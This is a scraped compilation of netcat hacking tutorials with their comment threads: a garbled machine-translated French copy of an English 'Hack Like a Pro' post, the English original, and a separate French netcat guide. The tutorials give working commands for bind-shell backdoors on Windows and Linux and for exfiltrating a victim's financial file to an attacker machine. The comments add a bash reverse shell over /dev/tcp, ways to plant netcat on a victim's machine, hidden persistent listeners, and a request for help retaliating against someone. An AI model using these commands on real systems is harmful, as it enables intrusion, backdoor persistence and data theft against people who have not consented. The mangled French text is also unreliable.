Vous êtes sur la page 1sur 39

Hack comme un pro: comment utiliser

Netcat, le couteau suisse des outils de


piratage
Bienvenue, mes pirates greenhorn!

Depuis plus de 15 ans, un outil minuscule mais puissant a été utilisé


par lespirates pour un large éventail d'activités. Cet outil va par le nom
de netcat , et bien que bien connu dans le piratage des cercles, il est
pratiquement inconnu en dehors. Il est si puissant et utile, que
beaucoup de gens au sein de la communauté de piratage se réfèrent
à lui comme le "couteau suisse des outils de piratage."

Dans ce tutoriel, nous allons examiner les capacités de cet outil simple
et comment le pirate en herbe peut l'utiliser.

Qu'est-ce que Netcat, vraiment?

Netcat comme tant de pirates outils a été créé pour être un outil
d'analyse de réseau. Développé par un homme seulement connu sous
le nom "Hobbit," il donna cet outil pour la communauté informatique
sans compensation, mais a reçu des dizaines de récompenses. Merci,
Hobbit!

En tant que tel, vous pouvez l' utiliser pour ouvrir les connexions TCP
et UDP entre deux machines sur un port que votre coeur désire. Il peut
également être utilisé comme outil de balayage de ports, semblable
à nmap. En outre, il peut être utilisé pour la redirection de port,
mandatement, serveur web simple, et en laissant une porte dérobée
ouverte pour le pirate.
Regardons certaines de ces capacités à l' aide de notre système de
BackTrack .

Étape 1: Ouvrez Netcat

Une fois que nous avons tiré notre système de BackTrack et ouvert un
terminal, nous pouvons utiliser netcat partir d'un répertoire car il est
situé dans notre répertoire bin qui est dans notre variable PATH, par
défaut.Donc, nous allons tapez:

 nc -h
Comme vous pouvez le voir, la syntaxe de base pour netcat est le
suivant.

Pour se connecter à une autre machine:

 nc Options hôte port d'adresse IP

Pour écouter les connexions entrantes:

 -p port de nc

Étape 2: Utilisez Netcat pour se connecter à un système distant

Nous allons utiliser netcat pour se connecter à un système


distant. Dans ce cas, nous allons essayer de vous connecter à un
serveur Web sur le port 80. Nous tapons:

 nc 192.168.1.105 80
Cela nous donne une connexion TCP, par défaut, le serveur Web (port
80) à 192.168.1.105. Maintenant, tout ce que nous tapons, nous serons
envoyés directement au serveur Web quand nous avons frappé entrer.

Étape 3: Utilisez Netcat à Banner Grab pour OS Fingerprinting

Une fois que nous avons une connexion TCP à un serveur web, nous
pouvons utiliser netcat pour saisir la bannière du serveur Web pour
identifier ce que les services Web du logiciel de la victime est en cours
d'exécution.

Rappelez-vous que, avant d'attaquer tout système, nous avons besoin


de savoir autant que possible sur la victime. Netcat peut nous aider
dans cette tâche en saisissant les bannières que les serveurs Web
servent à de nouvelles connexions.

Maintenant que nous avons une connexion, nous pouvons faire la


bannière grab sur le serveur Web en tapant:

 HEAD / HTTP / 1.0

Soyez prudent et copier exactement comme je l'ai tapé avec les barres
obliques et des espaces.
Hit entrer quelques fois et le serveur Web répondra avec sa bannière
nous dire exactement ce que le logiciel est en cours d'exécution. Dans
ce cas, nous pouvons voir que le serveur Web est en cours d'exécution
de Microsoft IIS 6.0.

Nous pouvons utiliser cette technique sur d' autres sites publics, aussi
bien.Essayons sur certains sites Web largement connus et voir ce
serveur web logiciels qu'ils exécutent. Tout d' abord, nous allons
essayer ce site,wonderhowto.com . Quand nous cingler
wonderhowto.com, nous voyons que l'adresse IP est
98.129.110.26. Donc, nous pouvons alors taper:
 nc 98.129.110.26 80

Après avoir obtenu une connexion, nous pouvons saisir la bannière du


serveur Web en tapant:

 HEAD / HTTP / 1.0

Et puis frapper entrer deux ou trois fois.


Comme nous pouvons le voir, wonderhowto.com exécute Microsoft-IIS /
7.5.

Si nous essayons la même chose avec cnn.com , nous obtenons les


résultats ci - dessous.

Fait intéressant, cnn.com est en cours d'exécution nginx, un serveur


web open source que dans un très court laps de temps a égalé le
nombre total de Microsoft IIS installations à l'échelle mondiale (Apache
est encore plus de 60% des serveurs Web sur la planète).

Allez-y et essayer sur d'autres sites et savoir quel serveur ils courent.
Étape 4: Utilisez Netcat pour écouter les connexions

Maintenant, nous allons utiliser netcat pour créer un écouteur sur le


système distant. Supposons que nous avons un serveur Windows que
nous avons installé sur netcat. Nous pouvons maintenant tapez la
commande suivante pour ouvrir un écouteur de netcat sur le port 6996
(il peut être un port) sur ce système.

 nc - l -p 6996

Cela a créé un «auditeur» que nous pouvons connecter à loisir. Notez


que sur les systèmes Windows, nous pouvons exécuter cette même
commande avec un boîtier supérieur L et il va créer un auditeur
persistante qui va ouvrir , même si le système est redémarré.

Étape 5: Créer un Backdoor

Maintenant, nous allons créer une porte dérobée sur le système de la


victime que nous pouvons revenir à tout moment. La commande varie
légèrement en fonction de savoir si nous nous attaquons à un système
Linux ou Windows.

Pour Windows, nous utilisons:

 nc -l -p 6996 -e cmd.exe

Pour Linux nous utilisons;

 nc -l -p 6996 -e / bin / bash

Cela va ouvrir un auditeur sur le système qui "pipe" l'interpréteur de


commandes ou le bash shell Linux pour le système de
connexion. Ensuite, sur notre système d'attaque, on tape:

 nc 192.168.1.105 6996
Comme vous pouvez le voir, l'invite de commande Windows a été
acheminée par notre connexion netcat directement à notre système
d'attaque! Nous possédons cette boîte!

Étape 6: Copier les fichiers Out (exfiltrer) de la cible


Netcat peut également être utilisé pour exfiltrer des fichiers et
des données de la victime. Imaginons qu'il y ait des données sur le
système de la victime que nous voulons. Peut-être que des données
financières ou des données stockées dans une base
de données. Nous pouvons utiliser une connexion furtivité pour copier
lentement que les données sur notre système d'attaque. Dans cet
exemple, nous allons exfiltrer un fichier
appeléfinancialprojections.xls , probablement un fichier Excel avec
des projections financières.

A partir du système source, on tape:

 tapez financialprojections.xls | nc 192.168.1.104 6996


Cette commande dit, afficher le fichier financialprojections.xls puis
tuyau (|) à netcat (nc) à l' adresse IP 192.168.1.104 via le port 6996.
A partir du système de destination, nous tapons:

 nc -l -p 6996> financialprojections.xls
Cette commande dit créer un écouteur (l) sur le port (p) 6996, puis
envoyer les données reçues sur cet écouteur dans un fichier
nomméfinancialprojections.xls .

Nous pouvons voir dans la capture d'écran ci-dessous que le fichier a


été copié à travers notre connexion netcat sur le port 6996 à notre
machine attaquante!
Ceci est juste un petit échantillon de ce que ce puissant petit
programme peut faire. Lorsque vous combinez avec certaines
compétences de base de script, vous ne pouvez imaginer les choses
incroyables que nous pouvons faire!

En terme des didacticiels, nous allons examiner d'autres façons que


cela, peu puissant outil peut aider les pirates astucieux, donc continuer
à revenir!

D' origine technique chat image via Shutterstock

Voir également
 Comment ajouter une broche et un stylo à un couteau
Huntsman armée suisse
 Comment choisir une serrure avec un couteau suisse
 Comment ouvrir une boîte en utilisant un couteau suisse
 Montre plus...
Pensez à donner Kudos, Tweet, Like, & Partager
SouscrireDE

Participez à la discussion

EIGHTFOURONE

Est-ce que ce transfert de fichiers et tout ne fonctionnent que si vous


avez netcat installé sur l'ordinateur distant? Si oui, comment pourriez-
vous le faire installer et ensuite interagir avec elle sans utiliser l'accès
physique, est là comme une charge utile pour elle ou quelque chose?
il y a 2 ans
Répondre

CIPH3R00T

1
Vous pouvez également le télécharger sur la machine de la victime
enutilisant la commande wget comme ceci:
wget http://sourceforge.net/projects/nc110/files/latest/download
, puis l' installer sur la machine de la victime ...
il y a 8 mois
Répondre
IAN MILLER

ceci est juste nc..the question is..im à home..and veux obtenir sur un
ordinateur miles loin mais je ne peux pas pénétrer dans la house..so
comment allez-vous pour obtenir nc sur leur machine? .. donc je
pourrait le faire ... (pas que im faire this..its une analogie) .. Merci
il y a 3 mois
Répondre

OCCUPYTHEWEB

Huit:

Bonne question! Si vous ne disposez pas d'un accès physique, vous


aurez besoin de télécharger le système. TFTP serait une option. Si
vous étiez en mesure d'obtenir une invite de commande via Metasploit,
vous pouvez télécharger netcat par TFTP.

OTW
il y a 2 ans
Répondre

MAL GENIOUS

Salut OTW,

des conseils sur la façon dont Veuillez je peux utiliser le set-cookie:


79 ............. path = /, httponly

i ai fait des recherches sans clarification explicite donnée.

Cordialement
mal Genious
il y a 2 ans
Répondre

OCCUPYTHEWEB
1

Mal:

Je ne suis pas sûr de ce que vous me demandez et ce que cela a à faire


avec ce tutoriel sur netcat?

OTW
il y a 2 ans
Répondre

MAL GENIOUS

OTW

Je comprends comment le travail de XSS, quand je Netcat comme


décrit sur ce tutoriel, j'arrivé d'avoir rencontré ceci:

Set-Cookie: 79eE ............................................. ...........; path


= /; HttpOnly
Connection; Fermer

lors de mes recherches sur les cookies HttpOnly je sais que ce sont les
meilleurs en termes de configuration de sécurité (pour éviter
XSS). Donc, si je parviens à obtenir le plus haut sont-ils les cookies à
l'administrateur ou ils font partie de la configuration de jeter testeurs
loin?

Je ne voulais pas les essayer car je ne suis pas un pirate.

evilgenious
il y a 2 ans
Répondre

CARLOS ROYALE

Great writeup! Maintenant, pour pousser à votre cerveau (dans l'espoir


d'être pointé dans la bonne direction);)

1) Après netcat est installé comme une porte dérobée sur un système,
comment un pentester configurer la porte dérobée netcat pour être
utilisé en tant que proxy chaussettes?
2) Est-il possible de procurations chaîne netcat ensemble pour utiliser
successivement?

3) S'il est impossible de la chaîne des procurations de netcat ensemble


à travers ses propres configs internes, pourraient-ils être enchaînés
ensemble en utilisant proxychains?

(J'ai une intuition que les deux scénarios de sont possibles).

4) En supposant que netcat peut être enchaîné ,, serait le même travail


de configuration dans cryptcat?

Merci d'avance!
il y a 1 an
Répondre

OCCUPYTHEWEB

oui, cela peut être fait, mais il y a des moyens plus faciles.
il y a 1 an
Répondre

CARLOS ROYALE

Quel serait un moyen plus facile?


il y a 1 an
Répondre

ENKIN EFEROUS

Carlos, vous pourriez vouloir vérifier Socat. Il est essentiellement


netcat avec un tas d'engins crypto / tunnel ajouté.
il y a 1 an
Répondre

CIUFFY

2
Je voudrais partager ce qu'il est possible d'obtenir net chat travaillant
sur Mac OSX aussi.

Bien que la commande par défaut "nc" émule le netcat legit, l'option "-
e" ne sont pas disponibles, donc pratiquement inutile pour backdoorer.

Cela peut être facilement résolu l' installer à partir de "Homebrew".


Allez dans "brew.sh" et suivez les instructions pour installer l'utilitaire
terminal, une fois fait "brew installer netcat".
Maintenant , vous pouvez exécuter "netcat -l -p 1337 -e / bin / bash "et
vous obtiendrez une coquille sur ce système aussi.
Il a parfaitement fonctionné pour moi, mais comme il n'y a pas de https
ou certs, sentez - vous libre de ne pas faire confiance à ce.
il y a 1 an
Répondre

LE ROI LION

hhello monsieur OTW ... est-il possible de voir le code source de netcat
directement sur kali? sur une note..is plus générale, il est possible de
voir le code source des outils ou des programmes installés sur un
système Linux distros? si c'est le cas, comment? Merci
il y a 1 an - édité il y a 1 an
Répondre

OCCUPYTHEWEB

Roi:

Presque tout sur notre plateforme Kali est open source, y compris le
Debian Linux, il est construit.

OTW
il y a 1 an
Répondre

LE ROI LION

1
qui a été entendu ... mais en supposant h sans internet puis-je voir le
code source directement quelque part dans le système d'exploitation?

faisant par exemple i cd usr / bin et i essayer gedit netcat ou quelque


autre rien tool..but up..well montre ces fichiers un à exécuter mais que
de vouloir lire la source en supposant h sans internet?

est-ce possible? espère que je me suis expliqué enought


merci monsieur.
il y a 1 an - édité il y a 1 an
Répondre

OCCUPYTHEWEB

Ces fichiers sont déjà compilés. Vous avez besoin des fichiers non
compilés pour afficher le code source.
il y a 1 an
Répondre

CAMERON VERRE

OTW, je continue à essayer d'utiliser netcat pour se connecter au


serveur ftp de certains sites, comme cnn, et des choses comme ça. Je
tape HEAD / HTTP / 1.O et rien ne vient. Est-ce que je fais quelque
chose de mal?
il y a 1 an
Répondre

CAMERON VERRE

Ça ne fait rien. Je dois tout simplement mauvais wifi.


il y a 1 an
Répondre

BAHA BAGDADI

1
Pour le bash shell linux nous utilisons: bash -i> &
/dev/tcp/192.168.1.88/1234 0> & 1
pour envoyer une connexion, qu'en commande shell windows ?? aidez
- moi ici ...!
il y a 7 mois
Répondre

OCCUPYTHEWEB

Vous créez un écouteur dans Windows avec nc -L -p <numéro de port> -


e cmd.exe
il y a 7 mois - édité il y a 7 mois
Répondre

BAHA BAGDADI

il doit donc avoir netcat? pas d'autre chemin ?


il y a 7 mois
Répondre

TRIPHAT

1
Malheureusement, Windows ne vient pas avec des outils cli beaucoup
utiles .. vous pouvez télécharger netcat ici et la plupart
des autres ici .
il y a 7 mois
Répondre

OCCUPYTHEWEB

Je suis sûr qu'il ya d'autres façons, mais cet article est sur l'utilisation
de netcat.
il y a 7 mois
Répondre
DAYLAN DEAN

Je suis un newbie et aime les connaissances partagées ici sur ce


site. J'ai besoin d'aide avec un problème que j'ai eu arriver semblable
à ce hack en cours mais il a été fait pour moi sur mon enracinée
Samsung galaxy s4.Tous les conseils ou des suggestions sur la façon
de se venger ou de quelque chose? Merci
il y a 7 mois
Répondre

THEROBYNHODE

Serait-il possible de télécharger une charge utile de Meterpreter à un


auditeur nc, et si oui, comment. J'ai essayé quelques choses et il
vomie jibberish ... Merci

Robyn
il y a 7 mois
Répondre

THEROBYNHODE

1
Si quelqu'un se demandait sessions d'utilisation -u <id de session>
dans Metasploit http://securityweekly.com/2010/04/25/using-
meterpreter-to-control-n/~~number=plural Robyn

il y a 6 mois
Répondre

MACCOY

OTW, comment voulez-vous faire de cette connexion persistante sur un


serveur Linux?
il y a 6 mois - édité il y a 6 mois
Répondre

MACCOY

Je suppose que cela peut facilement être réalisé avec nohup


il y a 6 mois
Répon

Posted By
occupytheweb17K2 years ago
Follow

505050
KUDOS

Welcome back, my greenhorn hackers!

For over 15 years, a tiny but powerful tool has been used by hackers for
a wide-range of activities. This tool goes by the name of netcat, and
although well known in hacking circles, it's virtually unknown outside.
It's so powerful and useful, that many people within the hacking
community refer to it as the "Swiss Army knife of hacking tools."

In this tutorial, we'll look at the capabilities of this simple tool and how
the aspiring hacker can use it.

What Is Netcat, Really?

Netcat—like so many hacker tools—was created to be a network


analysis tool. Developed by a fellow only known as "Hobbit," he gave
away this tool to the IT community without compensation, but has
received scores of accolades. Thanks, Hobbit!

As such, you can use it to open up TCP and UDP connections between
two machines over any port your heart desires. It can also be used as a
port scanning tool, similar to nmap. In addition, it can be used for port
forwarding, proxying, simple web server, and leaving an open backdoor
for the hacker.
Let's look at some of those capabilities using our BackTrack system.

Step 1: Open Netcat


Once we've fired up our BackTrack system and opened a terminal, we
can use netcat from any directory since it's located in our bin directory
which is in our PATH variable, by default. So, let's type:

 nc -h

As you can see, the basic syntax for netcat is the following.

To connect to another machine:

 nc options host IP address port

To listen for inbound connections:

 nc -l -p port

Step 2: Use Netcat to Connect to a Remote System


Let's use netcat to connect to a remote system. In this case, we will
try to connect to a web server on port 80. We type:

 nc 192.168.1.105 80

This gives us a TCP connection, by default, to the web server (port 80)
at 192.168.1.105. Now, whatever we type, we will be sent directly to
the web server when we hit enter.

Step 3: Use Netcat to Banner Grab for OS Fingerprinting

Once we have a TCP connection to a web server, we can use netcat to


grab the banner of the web server to identify what web serving
software the victim is running.

Remember that before attacking any system, we need to know as much


as possible about the victim. Netcat can help us with that task by
grabbing the banners that web servers serve up to new connections.

Now that we have a connection, we can do the banner grab to the web
server by typing:

 HEAD / HTTP/1.0

Be careful and copy exactly as I typed it with the slashes and spaces.
Hit enter a few times and the web server will respond with its banner
telling us exactly what software it is running. In this case, we can see
that the web server is running Microsoft's IIS 6.0.

We can use this technique on other public websites, as well. Let's try it
on some widely known web sites and see what web server software
they're running . First, let's try this website, wonderhowto.com. When
we ping wonderhowto.com, we see that the IP address is
98.129.110.26. So, we can then type:
 nc 98.129.110.26 80

After getting a connection, we can grab the web server banner by


typing:

 HEAD / HTTP/1.0

And then hitting enter two or three times.


As we can see, wonderhowto.com is running Microsoft-IIS/7.5.

If we try the same thing with cnn.com, we get the results below.

Interestingly, cnn.com is running nginx, an open source web server that


in a very short amount of time has equaled the total number of
Microsoft IIS installations globally (Apache is still over 60% of the web
servers on the planet).

Go ahead and try it on other websites and find out what server they're
running.
Step 4: Use Netcat to Listen for Connections

Now, let's use netcat to create a listener on the remote system. Let's
assume that we have a Windows server that we have installed netcat
on. We can now type the following to open a netcat listener on port
6996 (it can be any port) on that system.

 nc - l -p 6996

This has created a "listener" that we can connect to at our leisure.


Note that on Windows systems, we can run this same command with an
upper case Land it will create a persistent listener that will open up
even if the system is rebooted.

Step 5: Create a Backdoor

Now let's create a backdoor on the victim system that we can come
back to at any time. The command will vary slightly based upon
whether we are attacking a Linux or Windows system.

For Windows we use:

 nc -l -p 6996 -e cmd.exe

For Linux we use;

 nc -l -p 6996 -e /bin/bash

This will open a listener on the system that will "pipe" the command
shell or the Linux bash shell to the connecting system. Then on our
attacking system, we type:

 nc 192.168.1.105 6996
As you can see, the Windows command prompt has been piped through
our netcat connection directly to our attacking system! We own that
box!

Step 6: Copy Files Out (Exfiltrate) from the Target


Netcat can also be used to exfiltrate files and data from the victim.
Let's imagine that there's data on the victim system that we want.
Maybe financial data or data stored in a database. We can use a stealth
connection to slowly copy that data out to our attack system. In this
example, we will exfiltrate a file called financialprojections.xls,
presumably an Excel file with financial projections.

From the source system, we type:

 type financialprojections.xls | nc 192.168.1.104 6996


This command says, display the file financialprojections.xls and then
pipe (|) it to netcat (nc) to IP address 192.168.1.104 through port 6996.

From the destination system we type:


 nc -l -p 6996 > financialprojections.xls
This command says create a listener (l) on port (p) 6996 and then send
the data received on this listener to a file
named financialprojections.xls.

We can see in the screenshot below that the file was copied across our
netcat connection over port 6996 to our attacking machine!

This is just a small sample of what this powerful little program can do.
When you combine it with some basic scripting skills, you can only
imagine the incredible things we can do!
In futures tutorials, we will look at other ways that this powerful, little
tool can help astute hackers, so keep coming back!

Original tech cat image via Shutterstock

See Also
 How to Add a pin and pen to a Swiss Army Knife Huntsman
 How to Pick a lock with a Swiss army knife
 How to Open a can using a Swiss Army Knife
 Show More...
Remember to Give Kudos, Tweet, Like, & Share
SubscribeOFF

Join the Discussion

EIGHTFOURONE

Does this file transfer and everything only work if you have netcat
installed on the remote computer? If so, how could you get it to install
and then interact with it without using physical access, is there like a
payload for it or something?
2 years ago
Reply

CIPH3R00T

1
You can also download it on victim's machine using the wget command
like this:
wget http://sourceforge.net/projects/nc110/files/latest/download
and then install it on victim's machine...
8 months ago
Reply

IAN MILLER

this is just nc..the question is..im at home..and want to get on a


computer miles away but I cant break into the house..so how are you
going to get nc on their machine?..so I could do this...(not that im doing
this..its an analogy)..Thanks
3 months ago
Reply

OCCUPYTHEWEB

Eight:

Good question! If you don't have physical access, you will need to
upload it the system. TFTP would be one option. If you were able to get
a command prompt through Metasploit, you can upload netcat by TFTP.

OTW
2 years ago
Reply

EVIL GENIOUS

Hi OTW,

Kindly advice on how i can use the set-cookie:79.............path=/,


httponly

i have researched with no explicit clarification given.

Regards
evil genious
2 years ago
Reply

OCCUPYTHEWEB

Evil:

I'm not sure what you are asking me and what this has to do with this
tutorial on netcat?

OTW
2 years ago
Reply

EVIL GENIOUS

OTW

I understand how XSS work, when I used Netcat as described on this


tutorial I happened to have come across this:

Set-Cookie: 79eE........................................................; path=/; HttpOnly


Connection; close

during my research on httponly cookies i know that they are the best in
terms of security configuration (to avoid xss). So if I manage to get the
above are they the cookies for the administrator or they are part of the
configuration to throw testers away ?

I didnt want to try them since I am not a cracker.

evilgenious
2 years ago
Reply

CARLOS ROYAL

Great writeup! Now to poke at your brain (in hopes of being pointed in
the right direction) ;)

1) After netcat is installed as a backdoor on a system, how would a


pentester configure the netcat backdoor to be used as a socks proxy?

2) Is it possible to chain netcat proxies together to use in succession?

3) If it's not possible to chain netcat proxies together through it's own
internal configs, could they be chained together using proxychains?

(I have a gut feeling that both scenario's are possible).

4) Assuming that netcat can be chained,, would the same configuration


work in cryptcat?

Thank you in advanced!


1 year ago
Reply
OCCUPYTHEWEB

yes, this can be done, but there are easier ways.


1 year ago
Reply

CARLOS ROYAL

What would be an easier way?


1 year ago
Reply

ENKIN EFEROUS

Carlos, you might want to check out Socat. It's essentially netcat with
a bunch of added crypto/tunneling gear.
1 year ago
Reply

CIUFFY

I'd like to share that it is possible to get net cat working on Mac OSX
too.

Though the default command "nc" emulates the legit netcat, the "-e"
option is not available, so practically useless for backdooring.

This can be easily solved installing it from "Homebrew".


Go to "brew.sh" and follow the instruction to install the terminal utility,
once done "brew install netcat".
Now you can run "netcat -l -p 1337 -e /bin/bash" and you'll get a shell on
that system too.
It worked perfectly for me, but since there's no https or certs, feel free
to not trust this.
1 year ago
Reply

THELIONKING

hhello sir OTW...is it possible to see the source code of netcat directly
on kali? on a more general note..is it possible to see the source code of
installed tools or programs on a linux distros? if so how? thanks
1 year ago - edited 1 year ago
Reply

OCCUPYTHEWEB

King:

Nearly everything on our Kali platform is open source, including the


Debian Linux it is built on.

OTW
1 year ago
Reply

THELIONKING

that has been understood...but assuming am without internet can i see


the source code directly somewhere in the OS?

doing for example i cd to usr/bin and i try gedit netcat or some other
tool..but nothing shows up..well those a files to be executed but what
about wanting to read the source assuming am without internet?

is that possible? hope i explained myself enought


thanks Sir.
1 year ago - edited 1 year ago
Reply

OCCUPYTHEWEB

1
Those files are already compiled. You need the uncompiled files to view
the source code.
1 year ago
Reply

CAMERON GLASS

OTW, I keep trying to use netcat to connect to the ftp server of some
websites, like cnn, and things like that. I type HEAD / HTTP/1.O and
nothing comes up. Am I doing something wrong?
1 year ago
Reply

CAMERON GLASS

Nevermind. I just have bad wifi.


1 year ago
Reply

BAHA BAGHDADI

For the linux bash shell we use: bash -i >& /dev/tcp/192.168.1.88/1234


0>&1
to send a connection, what about windows command shell ?? help me
here ...!
7 months ago
Reply

OCCUPYTHEWEB

You create a listener in Windows with nc -L -p <port number> -e


cmd.exe
7 months ago - edited 7 months ago
Reply
BAHA BAGHDADI

so it must have netcat ? no other way ?


7 months ago
Reply

TRIPHAT

1
Sadly, Windows doesn't come with much useful cli tools .. you can
download netcat here and most others here.
7 months ago
Reply

OCCUPYTHEWEB

I'm sure there are other ways, but this article is about using netcat.
7 months ago
Reply

DAYLAN DEAN

I am a newbie and love the knowledge shared here on this site. I need
help with an issue that I have had happen similar to this current hack
but it was done to me on my rooted Samsung galaxy s4. Any advice or
suggestions on how to retaliate or something? Thanks
7 months ago
Reply

THEROBYNHODE

Would it be possible to upload a meterpreter payload to a nc listener,


and if so how. I tried a few things and it spewed out jibberish... Thanks
Robyn
7 months ago
Reply

THEROBYNHODE

1
If anyone was wondering use sessions -u <session id> in metasploit
http://securityweekly.com/2010/04/25/using-meterpreter-to-control-n/
Robyn
6 months ago
Reply

MACCOY

OTW, how would you make this connection persistent on a Linux


server?
6 months ago - edited 6 months ago
Reply

MACCOY

I guess this can easily be achieved with nohup


6 months ago
Reply

Netcat est un utilitaire Unix simple qui permet de gérer les sockets (connexions réseaux), c’est-à-dire qu’il est
capable d’établir n’importe qu’elle connexion à un serveur, en choisissant le port, l’IP etc. Il est conçu pour être un
outil « back-end » et peut-être utilisé directement par d’autres programmes et/ou scripts.
Netcat est distribué librement sous la licence GNU Licence Publique Générale (GPL).

Installation :

Linux – Debian

Assez simple ici, en une ligne et hophophop ^_^

apt-get install netcat

Par les sources

wget http://internap.dl.sourceforge.net/sourceforge/netcat/netcat-0.7.1.tar.gz
~$ tar -xzf netcat-0.7.1.tar.gz
~$ cd netcat-0.7.1
~/netcat-0.7.1$ ./configure
~/netcat-0.7.1$ make
Windows

Vous pouvez le télécharger ici : nc111nt.zip

Utilisation basique :

Socket TCP
Commençons simplement : Ouverture d’une socket en mode listening du port 1337 :
nc -l -p 1337
Bon là tu peux te dire « eh dude, c’est quoi mode listening port 1337 ? » Bien pour faire très simple, on ouvre le
port 1337 sur notre machine en local et on tend l’oreille !

On peut vérifier en ouvrant une autre instance de Netcat qui va nous servir de client. On se connecte ici à
localhost (vu qu’on test sur notre propre machine) sur le port 1337 :
nc localhost 1337
Dans ce cas précis, on se limitera à une entrée clavier STDIN. Chaque phrase taper sur le serveur sera envoyer
au client et vice/versa.

Ouaiiii on est fort on a réussi à faire un système de chat concurrent direct de MSN…ou pas…

Aller continuons dans les méandres de Netcat.

Socket UDP
On ajoute simplement -u pour la création de notre socket :
nc -l -u -p 1337
Redirections Entrées / Sorties
NetCat nous permet de manipuler facilement les entrées/sorties.

Prenons un fichier .txt et redirigeons le vers notre client :


nc -l -p 1337 < toto.txt
Cela va permettre d’automatiser Netcat. En effet, plutôt que de donner à Netcat les commandes à effectuer une
par une, il est possible d’enregistrer ces commandes dans un fichier, puis de demander à Netcat d’aller les
chercher dans ce même fichier.

Il est possible d’effectuer la manipulation inverse, à savoir rediriger les flux dans un fichier :
nc -l -p 1337 > file.log
NetCat permet aussi de rediriger les entrées et sorties d’un programme vers notre socket. Vous pouvez faire en
sorte que la connexion à travers un socket aboutisse au lancement d’un programme :
nc -vv -l -p 1337 -e '/bin/sh' -t
-v signifie verbose et permet d’avoir plus d’information sur ce qui se passe réellement. -tpermet de négocier une
session telnet.

Ensuite, on se connecte avec notre client en utilisant Telnet :


telnet IP_SERV 1337
Le shell du serveur s’affiche dans la fenêtre Telnet.

Sous Windows il est possible de faire la même chose :


nc -L -p 1337 -d -e c:\command.com

-d permet de cacher la fenêtre


Transfert de fichier
Ici, il est nécessaire d’ajouter le fichier ici file.tar.gz en faisant un pipe :
cat file.tar.gz | nc -l 1337
Pour le client :
nc IP_SERV 1337 > file.tar.gz
Malheureusement, nous n’avons ici aucune information sur l’état d’avancement de notre téléchargement.
Heureusement une astuce existe !

Il suffit de piper (se prononce paillepé) la commande pv qui permet d’indiquer la progression d’un flux en temps
réel :
cat file.tar.gz | pv -b | nc -l 1337
On peut implémenter la même chose côté client :
nc IP_SERV 1337 | pv -b > file.tar.gz
Requête HTTP
Il est possible d’utiliser Netcat pour faire de la capture de bannières :
nc -v www.unnomdedomainequitue.com
A ce stade, n’importe quelle entrée génère une réponse. Dans notre exemple, si vous appuyez sur la touche
Entrée, vous obtiendrez ce type de résultat :
HTTP/1.1 400 Bad Request
Server: Apache...
Date: ...
Content-Type: text/html
Content-Length:92
...
...
Une astuce dans le fichier readme de netcat indique comment rediriger le contenu d’un fichier dans netcat afin
d’obtenir des informations supplémentaires des systèmes distants. Ainsi, il est possible de créer un fichier texte
nommé chocapicz.txt contenant la ligne GET /HTTP/1.1, suivie de deux retours chariot, puis de taper la
commande suivante :
nc -nvv -o bannieres.txt IP_SERV 80 < chocapicz.txt
Scan de ports
Une dernière particularité de Netcat en mode client est qu’il permet d’effectuer un scan de port.

Pour se faire, il suffit d’utiliser l’option -v, ou -vv si vous souhaitez obtenir des information supplémentaires sur les
résultats du scan.

Par exemple, la commande nc -vv 127.0.0.1 1-65535 va effectuer un scan détaillé de vos ports 1 à 65535 (c’est-
à-dire tous). Mais vous remarquerez que Netcat effectue ce scan en testant les ports un par un, par ordre
décroissant. Par très discret non ? Pour éviter cela, l’utilisation de l’option -r permet de scanner les ports
aléatoirement. Par contre, dès que Netcat trouve un port ouvert, il arrête son scan. Pas super pratique n’est-ce
pas ? Pour forcer netcat à scanner la totalité des ports demandés, il existe l’option -z. Il est également possible de
définir la durée entre le scan de chaque port, grâce à l’option -i suivie du délai souhaité, en milli-secondes.

Enfin, pour scanner plusieurs plages de ports, il suffit de les séparer par un espace. Exemple :
nc -vv -i 3000 -r -z IP_SERV 21 23 80-160 1337
Cette commande va effectuer le scan détaillé des ports 21, 23, 80 à 160 et 1337 du SERV, dans un ordre
aléatoire, avec un intervalle de 3 secondes entre chaque scan.

Un dernier point sur le mode scan de Netcat : l’utilisation du protocole UDP au lieu de TCP, ce qui permet de
scanner des ports dont les applications utilisent le protocole UDP.

Pour utiliser UDP, il suffit de rajouter l’option -u dans votre ligne de commande.
VOIP
Il est possible d’utiliser netcat pour la VOIP \o/ Pour cela rien de bien compliquer.

Sur notre serveur :


nc -l -u -p 1337 < /dev/audio > /dev/audio
Et sur notre client :
nc -u IP_SERV 1337 < /dev/audio > /dev/audio
CRYPTCAT
Cryptcat est un clone de netcat, qui permet de chiffrer ses communications via l’algorithme Twolfish.

Il faut savoir que Netcat laisse passer les commandes en clair sur le réseau.

Il est donc plus appréciable d’utiliser Cryptcat sachant que ce dernier utilise les mêmes commandes que Netcat.

Cet article a été posté le 20 décembre 2009 à 15 h 14 min. Vous pouvez suivre les réponses à ce bulletin avec le flux suivant RSS 2.0.
Vous pouvez laisser un commentaire, ou faire un trackback depuis votre propre site.

Posté dans Tutos de Nico par Nico 15 Commentaires

15 Responses to "Netcat"


Nicolas says:
18 décembre 2013 à 19 h 18 min

Hello Paqueuc,

En fait tu as plusieurs versions de Netcat dont certaines qui ne prennent pas en compte
l’option -e.
Il faut s’assurer que dans l’aide tu as bien ces options. Parfois cela diffère légèrement.

Désolé pour cette réponse tardive, n’hésite pas si tu as besoin d’aide.


++


Paqueucsays:
11 août 2013 à 22 h 51 min

Bonjour,

Super article ! J’espère que Netcat va pouvoir résoudre un problème que je traine depuis
quelques mois.
J’ai un système domotique avec une box capable d’allumer / éteindre des prises de courant et
capable d’envoyer des requêtes http, udp ou tcp. J’ai 5 Raspberry Pi que j’utilise en
Squeezebox (distribution Debian). Les Rpi s’allument avec la prise de courant. J’ai besoin de
les éteindre pour économiser l’énergie et pour qu’ils fonctionnent correctement (24 h sans
activité = bug. Ils sont ensuite physiquement éteint par la prise de commande. J’ai besoin de
les mettre en halt mode avant…). Mais je n’arrive pas à trouver la commande qui les éteint.
En telnet, rien n’y fait. De fil en aiguille, j’arrive à un truc du genre :
1/ installation de netcat
2/ écriture dans le fichier /etc/rc.local du code :

nc -l -u -p 1337 -e ‘/sbin/poweroff’ &

(ne fonctionne pas)

ou
nc -l -u -p 1337 ; /sbin/poweroff &

(ne fonctionne pas non plus)

3/ Simple connexion avec ma box domotique en UDP sur le port 1337 est censé éteindre le
Rpi (sans envoyer de commande).

Mais rien ne fonctionne.

Sauriez vous me donner une procédure précise (création d’un fichier avec la commande ? à
placer à quel endroit et contenant quelle commande SVP ?)

Autre ?

Vous remerciant par avance pour l’aide que vous pourriez m’apporter.

Cordialement,

Paqueuc


Nicolas says:
